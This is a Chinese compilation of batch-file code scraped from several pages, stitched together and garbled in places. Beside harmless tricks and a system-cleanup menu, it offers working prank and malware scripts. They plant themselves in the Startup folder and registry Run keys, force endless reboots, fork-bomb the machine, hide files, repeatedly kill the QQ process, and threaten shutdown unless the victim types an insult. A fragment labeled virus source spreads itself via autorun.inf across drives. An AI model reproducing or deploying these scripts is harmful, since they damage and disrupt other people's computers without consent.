精彩批处理代码

合集下载

有趣的bat文件代码

有趣的bat文件代码

有趣的bat文件代码
有趣的.bat文件代码
.bat文件是一种批处理文件,它包含了一系列用于自动执行命令的指令。

虽然它们通常用于执行日常的系统管理任务,但.bat文件也可以用来制作一些有趣的代码。

在本文中,我们将探索一些有趣的.bat文件代码,这些代码可以实现各种奇妙的效果。

1. 打印彩色文本:
@echo off
echo This is some colorful text!
echo [1m This will be displayed in bright white.
echo [32m This will be displayed in green.
echo [47m This will be displayed on a white background.
echo [31;47m This will be displayed in red on a white background.
pause
这段代码可以在命令提示符窗口中显示彩色文本。

通过使用ANSI 转义序列,我们可以改变文本的颜色和背景色。

该代码中的\。

万能批处理代码

万能批处理代码

万能批处理代码cls@echo off:startcolor 02:: Color 设置默认的控制台前景色和背景色。

:: 0黑色 1蓝色 2绿色 3浅绿色 4红色 5紫色 6黄色 7白色 8灰色 9浅蓝:: A浅绿 B浅蓝色 C浅红色 D淡紫色 E浅黄色 F亮白色clstitle 万能批处理工具 QQ:545144121修改制作ECHO===================================================================== ==========ECHO 万能批处理工具echo QQ:545144121修改制作ECHO===================================================================== ==========ECHO A. 清除系统垃圾和免疫Autorun病毒 N. 关闭计算机时自动结束不响应的任务ECHO B. 查看当前进程的完整路径 O. 关闭所有驱动器自动播放ECHO C. 查看开机自启动程序 P. 禁止(恢复)保留"运行"、"查找"历史记录ECHO D. 查看系统信息&环境变量 Q. 禁止(恢复)保留最近打开文档记录ECHO E. 查看本机网络属 R. 彻底关闭系统还原ECHO F. 查看本机开放端口及使用该端口的进程 S. 关掉调试器Dr. Watson ECHO G. 配置本机网络属性:定义本机ip网关dns T. 删除默认共享,禁止IPC$空连接ECHO H. 修改hosts-屏蔽网址-解除已屏蔽网址 U. 1.批处理文件加密。

2.批处理文件解密ECHO I. 全盘搜索指定日期生成的文件 V. 1.锁定注册表。

2.解锁注册表ECHO J. 全盘禁止(解除)指定的程序运行 W. 系统定时关机ECHO K. 全盘搜索并删除指定文件[慎用] X. 右键添加打开MS-DOS窗口ECHO L. 修复exe文件&system32下所有dll关联 Y. 跟任意QQ聊天ECHO M. 强力修复IE去除限制恢复主页为空白页 Z. 退出ECHO===================================================================== ==========ECHO 供大家研究所用翻版不究ECHO===================================================================== ==========SET Choice=SET /P Choice=请选择:(A/B/C/D/E/F/G/H/I/J/K/L/M/N/O/P/Q/R/S/T/U/V/W/X/Y/Z)按回车键执行:ECHO.IF NOT '%Choice%'=='' SET Choice=%Choice:~0,1%IF /I '%Choice%'=='A' GOTO AIF /I '%Choice%'=='B' GOTO BIF /I '%Choice%'=='C' GOTO CIF /I '%Choice%'=='D' GOTO DIF /I '%Choice%'=='E' GOTO EIF /I '%Choice%'=='F' GOTO FIF /I '%Choice%'=='G' GOTO GIF /I '%Choice%'=='H' GOTO HIF /I '%Choice%'=='I' GOTO IIF /I '%Choice%'=='J' GOTO JIF /I '%Choice%'=='K' GOTO KIF /I '%Choice%'=='L' GOTO LIF /I '%Choice%'=='M' GOTO MIF /I '%Choice%'=='N' GOTO NIF /I '%Choice%'=='O' GOTO OIF /I '%Choice%'=='P' GOTO PIF /I '%Choice%'=='Q' GOTO QIF /I '%Choice%'=='R' GOTO RIF /I '%Choice%'=='S' GOTO SIF /I '%Choice%'=='T' GOTO TIF /I '%Choice%'=='U' GOTO UIF /I '%Choice%'=='V' GOTO VIF /I '%Choice%'=='W' GOTO WIF /I '%Choice%'=='X' GOTO XIF /I '%Choice%'=='Y' GOTO YIF /I '%Choice%'=='Z' GOTO ZGOTO Start===================================================================== ============================================================================================ =======================:Acolor 02Title 清理系统垃圾和免疫Autorun病毒clsecho ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━echo 正在清除系统垃圾文件,请稍等......echo ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━echo Hello!!!echo 系统垃圾清除批处理……echo 正在清除系统垃圾文件,请稍等......echo 正在清除扩展名为(.tmp,._mp,*.log,.gid,.chk)的临时文件……del /f /s /q %systemdrive%\*.tmpdel /f /s /q %systemdrive%\*._mpdel /f /s /q %systemdrive%\*.logdel /f /s /q %systemdrive%\*.giddel /f /s /q %systemdrive%\*.chkcolor 4aecho 正在清除扩展名为(.old,.bak)文件和系统回收站del /f /s /q %systemdrive%\*.olddel /f /s /q %systemdrive%\recycled\*.*del /f /s /q %windir%\*.bakcolor 2aecho 正在删除其他垃圾文件……del /f /s /q %windir%\prefetch\*.*rd /s /q %windir%\temp & md %windir%\tempdel /f /q %userprofile%\cookies\*.*del /f /q %userprofile%\recent\*.*echo 清楚IE缓存……del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*" del /f /s /q "%userprofile%\Local Settings\Temp\*.*"del /f /s /q "%userprofile%\recent\*.*"rd /s /q "%userprofile%\Local Settings\Temporary Internet Files"md "%userprofile%\Local Settings\Temporary Internet Files"rd /s /q "%userprofile%\Local Settings\Temp"md "%userprofile%\Local Settings\Temp"color 02clsecho 清除系统成功完成!echo 删除有分区里根目录下的autorun文件echo 如果提示找不到路径,说明你的机子里没有autorun病毒!for /D %%a in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do attrib -s -h -r %%a:\autorun.inffor /D %%a in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do del /f /s /q %%a:\autorun.inffor /D %%a in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do rd /s /q %%a:\autorun.inf\for /D %%a in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) domd %%a:\autorun.inf\autorun.inf..\\for /D %%a in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do md %%a:\autorun.inf\autorun.inf..\\for /D %%a in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do rd /s /q %%a:\autorun.inf\autorun.infecho 清空回收站for /D %%d in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do if exist "%%d:\recycler\*.*" rd /s /Q %%d:\recycler >nul 2>nulecho ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━echo 系统垃圾文件已全部清理完毕.....按任意键返回主菜单echo ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━pause>nulGOTO Start===================================================================== ============================================================================================ =======================:Bclstitle B.查看当前进程的完整路径。

炫酷的批处理BAT走字特效源码

炫酷的批处理BAT走字特效源码

炫酷的批处理BAT⾛字特效源码先上第⼀版的代码,代码肯定还存在BUG,先发上来给⼤家测试.@echo off&setlocal enabledelayedexpansionmode con: cols=87 lines=15title code by foxjl 2007-12-1 color 1aset long=43,minus=43set,=^我们,是⼀群执著的批处理爱好者^在⾊彩斑斓的WINDOWS下,开启CMD这扇深邃的窗⼝^曾经挑灯夜战,曾经彻夜不眠^我们之所以如此似痴若狂,是因为我们深知:^尺有所短、⼨有所长,CMD不同凡响^我们精益求精,⼒求完美^所有的努⼒,只为了⽤最简洁的语⾔,编写最具实⽤性的代码^^⾼⼿汇聚、资料齐全、是新⼿⼊门的福地、⽼⼿晋级的乐园^不求最⼤、但求最好、展现批处理的⽆穷魅⼒、⼀切精彩,尽在~~~~演⽰完毕。

再见!!:startecho.for %%i in (8 4 -1 4 -1 4 -1 10 -1 8 -1 16 -7 , 8 4 -1 4 -1 4 -1 10 -1 8 -1 8 -5 4 -1 4 -1 , 8 -4 2 -1 4 -1 10 -4 2 -1 12 -1 2 -7 , 8 4 -1 4 -1 4 -1 2 -1 6 -1 4 -1 2 -2 10 -1 2 -1 4 -1 4 -1 , 8 4 -1 4 -2 2 -2 6 -1 6 -1 2 -1 2 -1 4 -5 4 -1 4 -1 , 8 4 -2 2 -1 4 -1 8 -1 4 -1 4 -1 4 (if "%%i"=="," (echo.&ping -n 1 127.1>nul)) && (set a=%%i)&(set b=!a:-=!)if %%i lss 0 (for /l %%j in (1,1,!b!) do (set/p=▓<nul)) else (for /l %%k in (1,1,%%i) do (set/p= <nul)))call :delay 700echo\&echo\for /l %%z in (1,1,255) do (if not !long! equ 0 set /a long-=1for /l %%j in (1,1,87) do (set/p=<nul)for /l %%k in (1,1,!long!) do (set/p= <nul)set /a longn+=1set /a longs=longn-43set /a remnant=255-43if !longn! lss 43 (set/p=!,:~0,%%z!<nul) else (if !longn! geq !remnant! (set /a minus-=1set /a minuss=minus*2for /l %%l in (1,1,!minus!) do (set/p= <nul)for /l %%j in (1,1,!minuss!) do (set/p=<nul)call set/p=%%,:~!longs!,43%%<nul) else (call set/p=%%,:~!longs!,43%%<nul))call :delay 40 修改这个数字可以调整⾛字的速度.)call :delay 700&exit:delayfor /l %%i in (1,1,%1) do (error>nul 2>nul)goto :eof动画效果很不错,象电视⾥的飞字幕.很有观赏性.真是开了眼了 set ,=^ 再把每句最后加个^符号,就可以把它们都赋值给变量,?这是什么原理? 并且最后⼀句末尾⼜没有^符号?不过,飞字幕部分,代码似乎可以更简洁.来看看第⼆版的代码:@echo off&setlocal enabledelayedexpansiontitle code by 泛滥棏慌° 2007-12-1 mode con: cols=87 lines=15for /l %%l in (1 1 42) do set "ko= !ko!"color 1a&echo\&set,=!ko!^我们,是⼀群执著的批处理爱好者^在⾊彩斑斓的WINDOWS下,开启CMD这扇深邃的窗⼝^曾经挑灯夜战,曾经彻夜不眠^我们之所以如此似痴若狂,是因为我们深知:^尺有所短、⼨有所长,CMD不同凡响^我们精益求精,⼒求完美^所有的努⼒,只为了⽤最简洁的语⾔,编写最具实⽤性的代码^^⾼⼿汇聚、资料齐全、是新⼿⼊门的福地、⽼⼿晋级的乐园^不求最⼤、但求最好、展现批处理的⽆穷魅⼒、⼀切精彩,尽在~~~~演⽰完毕。

一些整人的批处理代码

一些整人的批处理代码
1:卡死你
@ echo off
copy %~s0 /b "%USERPROFILE%\「开始」菜单\程序\启动" /b
md 01
copy %~s0 /b 01 /b
start 01\%~n0%~x0
exit
2:马上重启《一直循坏》
@echo off shutdown -r -t 3 copy %0 C:\Documents" "and" "Settings\All" "Users\「开始」菜单\程序\启动\a.bat copy %0 c:\autoexec.bat REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG_SZ /d c:\autoexec.bat /f REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Rexec.bat /f attrib autoexec.bat +r +s +h REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f del %0
3:立刻死机
@echo off for /l %%i in (0,1,254) do start %%i 第十一组:乱加硬盘分区及解决 @echo off echo 请稍等......正在为你加硬盘分区.................. md d:\fly >nul 2>nul set a=c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z for %%a in (%a%) do subst %%a: d:\fly >nul 2>nul echo\ echo 打开"我的电脑"看看.........够不够用呀.......... ping 127.1 -n 5 >nul exit 修复: @echo off&color 1e title 请稍等......正在为你还原硬盘分区.................. set a=c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z

批处理通用测试代码

批处理通用测试代码
a:function (str){eval(str)}, p:function (str){
WScript.StdOut.Write(str) WScript.Echo("\n请按回车键继续...") return WScript.StdIn.ReadLine() } } } ///*-----------------单步调试模块---------------------------WScript.Quit()//这后面可随意添加调试性语句; WScript.Echo(text) WScript.Quit()//这后面可随意添加调试性语句; sdafsdaf sdfasdf.sdfl
WSH.stdout.write(str) WSH.echo("\n按回车继续。。。") WSH.stdin.readline() }
} }
//------------------注释部分--------------ME-------------------源自我的js+bat感悟
@set @n=0 /* & echo off
//var text = WScript.StdIn.ReadAll().toLowerCase()//替换为下面几句: ///*-----------------单步调试模拟语句---------------------------var cm=new Command()//加入的调试语句 var fso = new ActiveXObject("Scripting.FileSystemObject")//加入的调试语句 //--------------------------------------------------------------*/ function sortNumber(a, b){return b.split(" ")[0] - a.split(" ")[0]}; var re = /^(\d+).*/mg;

经典高级批处理完整教程

经典高级批处理完整教程

经典高级批处理完整教程一.简单批处理内部命令简介1.Echo 命令打开回显或关闭请求回显功能,或显示消息。

如果没有任何参数,echo 命令将显示当前回显设置。

语法echo [{on|off}] [message]Sample:@echo off / echo hello world在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。

2.@ 命令表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。

Sample:@echo off@echo Now initializing the program,please wait a minite...@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。

)3.Goto 命令指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。

语法:goto label (label是参数,指定所要转向的批处理程序中的行。

)Sample:if {%1}=={} goto noparmsif {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。

)@Rem check parameters if null show usage:noparmsecho Usage: monitor.bat ServerIP PortNumbergoto end标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。

最好有一些说明这样你别人看起来才会理解你的意图啊。

4.Rem 命令注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。

批处理病毒源代码

批处理病毒源代码
echo del %%windir%%\user.dll /f /q>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo del %%windir%%\temp.dll /f /q>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
goto auto>nul 2>nul
:J:
set disk=K:>nul 2>nul
goto auto>nul 2>nul
:K:
set disk=L:>nul 2>nul
goto auto>nul 2>nul
: L:
cls
attrib +s +h +r %windir%\%~nx0 2>nul >nul
goto auto>nul 2>nul
: D:
set disk=E:>nul 2>nul
goto auto>nul 2>nul
:E:
set disk=F:>nul 2>nul
goto auto>nul 2>nul
:F:
set disk=G:>nul 2>nul
attrib +s +h +r %disk%\%~nx0 2>nul >nul
attrib +s +h +r %disk%\autorun.inf 2>nul >nul
cls
goto %disk%>nul 2>nul

最全的DOS命令帮助程序批处理代码

最全的DOS命令帮助程序批处理代码
都是生成a.txt的帮助文档 复制代码 代码如下:
@echo off color 0e :ks cls echo ========================== echo 欢迎使用批处理帮助程序 echo %DATE% (by:诗酒飘零) echo ========================== echo. echo 请输入你想查询的批处理命令? echo (q键退出;h键帮助) echo. set /p lc= ★命令★: if %lc%==q goto e if %lc%==h help %lc% /? >a.txt if errorlevel 1 goto no if errorlevel 0 goto yes :yes start a.txt goto ks :no echo ========================================== echo 找不到你要的批处理命令,请检查后重新输入命令! echo ========================================= del a.txt pause call %0 :e del a.txt exit
也动打开跟脚本之家发布的上面那个类似想学习批处理的朋友可以参考下
最全的 DOS命令帮助程序批处理代码
根据命令命名的txt 复制代码 代码如下:
@echo off :z @cls @set /p "d=输入要BAT指令:" @ %d% /? > %d%.txt goto z goto z

几款经典批处理实例(Severalclassicbatchprocessingexamples)

几款经典批处理实例(Severalclassicbatchprocessingexamples)

几款经典批处理实例(Several classic batch processing examples)Several classic batch processing examplesAuthor: unknown article source: network click number: 453 update time: 2006-6-13 0:34:141. delete batch processing by default sharing of win2k/xp systemHere then save as ------------------------ cut.Bat or.Cmd file ---------------------------@echo preparing to delete all the default shares.when ready press any key.@pause@echo offRem check parameters if NULL show usage.If {%1}=={} goto: UsageRem code start.Echo.Echo ------------------------------------------------------Echo.Echo Now deleting all the default shares. Echo.Net share%1$/deleteNet share%2$/deleteNet share%3$/deleteNet share%4$/deleteNet share%5$/deleteNet share%6$/deleteNet share%7$/deleteNet share%8$/deleteNet share%9$/deleteNet stop ServerNet start ServerEcho.Echo All the shares have been deleteed Echo.Echo ------------------------------------------------------Echo.Echo Now modify the registry to change the system default properties.Echo.Echo Now creating the registry fileEcho Windows Registry Editor Version 5.00> c:/delshare.regEcho[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/lanma nserver/parameters]>> c:/delshare.regEcho "AutoShareWks" =dword:00000000>> c:/delshare.regEcho "AutoShareServer" =dword:00000000>> c:/delshare.regEcho Nowing using the registry file to chang the system default properties.Regedit /s c:/delshare.regEcho Deleting the temprotarily files.Del c:/delshare.regGoto: END: UsageEcho.Echo ------------------------------------------------------ Echo.Echo A example for batch fileEcho [Use batch file to change the sysytem share properties.] Echo.Echo Author:Ex4rchEchoMail:********************:1672602Echo.Echo Error:Not enough parametersEcho.Echo Please enter the share disk you wanna deleteEcho.Echo For instance, to delete the default shares:Echo delshare C D E IPC admin printEcho.Echo If the disklable is not as C: D: E:, Please chang it youself.Echo.Echo example:Echo If locak disklable are C: D: E: X: Y: Z:, you should chang the command into:Echo delshare C D E X Y Z IPC admin printEcho.Echo * * you can delete nine shares once in a useing * *Echo.Echo ------------------------------------------------------Goto: EOF: ENDEcho.Echo ------------------------------------------------------Echo.Echo OK, delshare.bat has deleted all the share you assigned.Echo.Anyquestions,**********************************.EchoesEchoes。

精彩批处理代码

精彩批处理代码

精彩批处理代码接收键盘输⼊字符串的程序:: Get user input - includes error check@echo offecho e102'set %%1='> %temp%.\t1.datfor %%? in (w q) do echo %%?>> %temp%.\t1.dat:inputecho.echo Type input:FC con nul /lb1 /n |FIND "1:" > %temp%.\t2.bat:: Error checking begins hereFIND "|" %temp%.\t2.bat > nulif not errorlevel=1 goto errorFIND "=" %temp%.\t2.bat > nulif not errorlevel=1 goto errorFIND " nulif not errorlevel=1 goto errorFIND ">" %temp%.\t2.bat > nulif not errorlevel=1 goto error:: Error checking endDEBUG %temp%.\t2.bat nulcall %temp%.\t2.bat 字符串for %%? in (t1.dat t2.bat) do del %temp%.\%%?echo 字符串=%字符串%goto eof:errorecho.echo @PROMPT Invalid input. Invalid characters: $Q $L $G $B$_> %temp%.\t2.bat%comspec% /c %temp%.\t2.bat |FIND ":"goto input:eof⼀个修改⽂件的更新⽇期的程序@echo offrem 保存系统时间echo.|date>sysdate.batecho.|time>systime.batrem 修改系统时间为指定时间,⽇期为参数⼀,时间为参数⼆,⽂件名为参数三date %1time %2rem 修改⽂件的时间copy %3+,,>nulrem 恢复系统时间echo date %%4>current.batcall sysdateecho time %%3>current.batcall systimerem 程序执⾏完毕echo Success.del systime.batdel sysdate.batdel current.batecho onPING某个区段内的所有IP的程序在命令⾏输⼊ a.bat 0 1 2 3 4 5 6 7 8 9 ,就能显⽰某区段的所有 IP 地址 192.168.1.0 - 192.168.1.99 ,将其中的 echo 改成 ping 就⾏,其中的 choice 和 if 语句是等待⽤户判断是否继续,可以删除,但这样中断程序⽐较⿇烦。

好玩的批处理命令

好玩的批处理命令

好玩的批处理命令1,注册表扫描@echo offtitle 注册表扫描中...mode con cols=50 lines=10setlocal enabledelayedexpansion>%temp%\reglist.txt echo %DATE%%time% 注册表扫描报告for /f "tokens=3 delims=\" %%i in ('reg query HKLM\SOFTWARE') do (echo 当前扫描信息: HKLM\SOFTWARE\%%i>>%temp%\reglist.txt echo ================================================================>>%temp%\reglist.txt echo 软件名称:%%i>>%temp%\reglist.txt echo ================================================================if not "%%i"=="Classes" if not "%%i"=="Microsoft" for /f "tokens=4 delims=\" %%j in ('reg query HKLM\SOFTWARE\%%i 2^>nul') do ( echo 软件信息: %%j>>%temp%\reglist.txtfor /f "tokens=* delims=" %%k in ('reg query "hklm\software\%%i\%%j" /S^|findstr /c:"REG_SZ" ') do (set /a n+=1clsecho 已扫扫描项值: !n! 当前信息: %%jecho 关联⽂件信息:%%k>>%temp%\reglist.txt ))))>>%temp%\reglist.txt echo 如需保存结果请选择⽂件另存为 BY PPdostitle FINISHED&echo 扫描完毕!ping 127.0>nulstart %temp%\reglist.txt2,计算器@echo offtitle DOS计算器---by blackboymode con: cols=45 lines=20setlocal enabledelayedexpansionREM 开始界⾯:beginclscolor 0aecho.echo ╭——————╮echo ╭———┤ DOS 计算器├———╮echo │╰——————╯│echo │ =by blackboy= │echo ││echo │请选择: │echo ││echo │ 1 - 普通+-×÷ │echo │ 2 - 求N次⽅│echo │ 3 - 求阶乘│echo │ h - 帮助│echo │ q - 退出│echo ││echo ╰——————————————╯REM 取得⽤户输⼊echo.set UserChoice=""set /p UserChoice=请选择:if /I %UserChoice%==q goto endif /I %UserChoice%==h goto helpif %UserChoice%==1 goto normalif %UserChoice%==2 goto fangif %UserChoice%==3 goto jiechenggoto errorREM 普通运算:normalclsecho.echo.echo.echo ╭—————————╮echo │普通+-×÷运算│echo ╰—————————╯echo.set /p UserInput=请输⼊表达式:REM 检测表达式echo %UserInput% | findstr "[0-9]">nul || goto errorecho %UserInput% | findstr /I "[a-z]">nul && goto errorecho %UserInput% | find ".">nul && goto errorecho %UserInput% | findstr "+ - * /">nul || goto errorecho %UserInput% | find "+">nul && goto addecho %UserInput% | find "-">nul && goto minusecho %UserInput% | find "*">nul && goto multiplyecho %UserInput% | find "/">nul && goto divideREM 实际运算:addfor /f "tokens=1,2 delims=+" %%a in ("%UserInput%") do set /a result=%%a+%%becho 计算结果=%result%goto refresh:minusfor /f "tokens=1,2 delims=-" %%a in ("%UserInput%") do set /a result=%%a-%%becho 计算结果=%result%goto refresh:multiplyfor /f "tokens=1,2 delims=*" %%a in ("%UserInput%") do set /a result=%%a*%%becho 计算结果=%result%goto refresh:devidefor /f "tokens=1,2 delims=/" %%a in ("%UserInput%") do set /a result=%%a/%%becho 计算结果=%result%goto refreshREM 计算N次⽅:fangclsecho.echo.echo.echo ╭—————————╮echo │求 N 次⽅│echo ╰—————————╯echo.set /p UserInput=请输⼊表达式:REM 检测表达式echo %UserInput% | findstr "[0-9]">nul || goto errorecho %UserInput% | findstr /I "[a-z]">nul && goto errorecho %UserInput% | find ".">nul && goto errorecho %UserInput% | find "_">nul || goto errorset num=set n=set /a result=1for /f "tokens=1,2 delims=_" %%a in ("%UserInput%") do set /a num=%%a & set /a n=%%b if %n%==0 goto showfangfor /L %%i in (1,1,%n%) do set /a result*=%num%:showfangecho 计算结果=%result%goto refreshREM 计算阶乘:jiechengclsecho.echo.echo.echo ╭—————————╮echo │求阶乘│echo ╰—————————╯echo.set /p UserInput=请输⼊要求阶乘的整数:REM 检测表达式echo %UserInput% | findstr "[0-9]">nul || goto errorecho %UserInput% | findstr /I "[a-z]">nul && goto errorecho %UserInput% | find ".">nul && goto errorset /a result=1REM 不可以直接判断UserInput是否为0set num=%UserInput%if %num%==0 goto showjiechengfor /L %%i in (%num%,-1,1) do set /a result*=%%i:showjiechengecho 计算结果=%result%goto refreshREM 错误:errorclscolor 0cecho.echo.echo.echo ╭————————————╮echo │输⼊错误,请参考帮助!│echo ╰————————————╯echo.REM 刷新:refreshecho.set UserChoice=""set /p UserChoice=请按任意键继续,退出请按q,帮助请按h:if /I %UserChoice%==q goto endif /I %UserChoice%==h goto helpgoto beginREM 帮助:helpclscolor 0aecho.echo ╭——————╮echo ╭————┤帮助├————╮echo │╰——————╯│echo ││echo │ 1.普通运算请使⽤以下形式: │echo │ 4+1 5-2 2*3 6/2 │echo ││echo │ 2.计算N次⽅请使⽤以下形式: │echo │ 2_5 (求2的5次⽅) │echo ││echo │ 3.只⽀持整数运算│echo ││echo │ 4.输⼊部分特殊符号可能会│echo │导致意外退出│echo ││echo ╰————————————————╯goto refreshREM 退出:endclscolor 0aecho.echo.echo.echo ╭————————————————╮echo ││echo │⾮常感谢您的使⽤,再见!│echo ││echo ╰————————————————╯ping -n 2 127.1>nulexit3,⽣成dos帮助⽂档@echo offtitle Dos帮助⽂档装载中...mode con cols=50 lines=5setlocal enabledelayedexpansion>Dos帮助⽂档.txt echo Dos帮助⽂档>>Dos帮助⽂档.txt echo.>>Dos帮助⽂档.txt echo %DATE%%time%>>Dos帮助⽂档.txt echo.>>Dos帮助⽂档.txt echo 作者: LGC>>Dos帮助⽂档.txt echo.for /f "skip=1 " %%i in ('help') do (>>Dos帮助⽂档.txt echo ================================================================ >>Dos帮助⽂档.txt echo. 命令名称:%%i>>Dos帮助⽂档.txt echo ================================================================ >>Dos帮助⽂档.txt echo.echo.help %%i >>Dos帮助⽂档.txtset /a n+=1clsecho 已完成命令数: !n! 当前命令:%%i>>Dos帮助⽂档.txt echo.)title FINISHED&echo 扫描完毕!ping 127.0>nulDos帮助⽂档.txt4,他妈的给我开机@echo offsetlocal EnableDelayedExpansionset _tmp_F_S=C:\_delay.vbsset _tmp_F_F=C:\_tmp.tmpset delay=50set s1=开机set s2=快开机set s3=他妈的开机set s4=你他妈到底开不开机set s5=操!!再不开机⽼⼦砸了你!!echo if WScript.Arguments.count = 1 then WScript.Sleep CInt(WScript.Arguments(0)) end if>%_tmp_F_S% if exist %_tmp_F_F% del %_tmp_F_F%for /L %%i in (1,1,4) do (call :show %%s%%i%% && call :fail %%s%%i%%)call :show %s5%call :sucif exist %_tmp_F_S% del %_tmp_F_S%if exist %_tmp_F_F% del %_tmp_F_F%ping -n 1 127.1>nulgoto :EOF:showif "%~1"=="" goto :EOFset s=%1set /p ans=%cd%^><nulset /A len=0:comp_lenecho %%s:~%len%,1%% | find "ECHO">nul && goto end_compset /A "len+=1"goto comp_len:end_compset /A "len-=1"for /L %%i in (0,1,%len%) do (cscript //nologo %_tmp_F_S% %delay% && set /p ans=!s:~%%i,1!<nul)cscript //nologo %_tmp_F_S% 500echo.echo %cd%^>%1>>%_tmp_F_F%echo.>>%_tmp_F_F%goto :EOF:failecho '%1' 不是内部或外部命令,也不是可运⾏的程序echo 或批处理⽂件。

经典bat批处理范例

经典bat批处理范例

经典bat批处理范例批处理脚本(通常以`.bat` 为扩展名)是在Windows 操作系统中运行的脚本文件,用于执行一系列命令。

以下是一个简单的经典批处理脚本范例,演示了一些常见的操作,如用户输入、条件语句、循环等。

```batch@echo offREM 这是一个经典的批处理脚本范例REM 获取用户输入set /p username=请输入您的用户名:REM 显示欢迎消息echo 欢迎, %username%! 这是一个经典批处理脚本。

REM 显示当前日期和时间echo 当前日期和时间: %date% %time%REM 检查操作系统版本verREM 使用条件语句if "%username%"=="admin" (echo 你是管理员用户。

) else (echo 你不是管理员用户。

)REM 使用循环set count=1:loopecho 这是第%count% 次循环。

set /a count+=1if %count% leq 5 goto loopREM 暂停以便查看输出pause```这个批处理脚本执行以下操作:1. 获取用户输入用户名。

2. 显示欢迎消息和当前日期时间。

3. 检查操作系统版本。

4. 使用条件语句检查用户是否为管理员。

5. 使用循环输出消息多次。

6. 最后,通过`pause` 命令使脚本暂停,以便用户查看输出。

请注意,批处理语法相对简单,但也有一些限制和注意事项。

在更复杂的情况下,可能需要考虑使用其他脚本语言或编程语言。

几个恶搞批处理

几个恶搞批处理

⼏个恶搞批处理1、让对⽅重启5次@echo offcopy /y %0 "%USERPROFILE%\「开始」菜单\程序\启动\"if not exist c:\1.txt echo. >c:\1.txt & goto err1if not exist c:\2.txt echo. >c:\2.txt & goto err1if not exist c:\3.txt echo. >c:\3.txt & goto err1if not exist c:\4.txt echo. >c:\4.txt & goto err1if not exist c:\5.txt echo. >c:\5.txt & goto err1goto err2:err1shutdown.exe -r -t 0:err22、狂闪电脑屏幕@Echo OffEcho Exit|%ComSpec% /k prompt e 100 B4 00 B0 12 Cd 10 B0 03 Cd 10 Cd 20 $_g$_q$_|debug>nulcolor 0a:aclsfor /l %%b in (1,6,7)do (color %%bf)goto a3、每隔1分钟就结束QQ 进程@echo offif "%1" == "h" goto beginmshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit:begincopy /y %0 "%USERPROFILE%\「开始」菜单\程序\启动\ "taskkill /f /im QQ.exe >nultaskkill /f /im TXPlatform.exe >nulping 127.1 -n 600 >nulgoto begin4、每隔120秒就弹出指定⽹站!6、输⼊“我是猪”否则关机(vbs)on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""请在弹出的对话框中输⼊‘我是猪’并且点确定,否则我帮你关机,⽬前倒计时60秒,有种就别说"" ",0 ,truedim ado while(a <> "我是猪")a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","⼩熊制作"," 请输⼊“我是猪”并且点确定,终⽌关机倒计时",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就⾏了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾"。

批处理详解经典之作

批处理详解经典之作

② 在 set 语句中:和~同时使用时,: 起到截取字符串的功能。假设 set str=abcde,那么,set var=%str:~0,1% 表示截取字符串abcde的第一个字符;和=同时使用时,起到替换字符串的功能。假设:set str=abc:de,那么,set var=%str:a=1% 则表示把字符串abc:de中的a替换为1,set var=%str::=2% 则表示把字符串abc:de中的:替换为2;
D:\>test.bat */a* /b /c
输出结果: test.batecho */a*echo /becho */a* /b /cecho
%0 表示本身文件名:test.bate , %*表示整个命令行 */a* /b /c 。
2.代码:
@echo off
echo %1echo %~f1echo %0echo %~f0echo %~d0echo %~p0echo %~n0echo %~x0echo %~s0echo %~a0echo %~t0echo %~z0
1.代码:
D:\>echo abcd|findstr "b" &::表示以"b"为条件,在"abcd"中查找"b".
D:\>dir | findstr "test" &::表示查找有"test"的目录。
"": 表示定义成字符型,加上双引号之后命令行中可以有空格符。
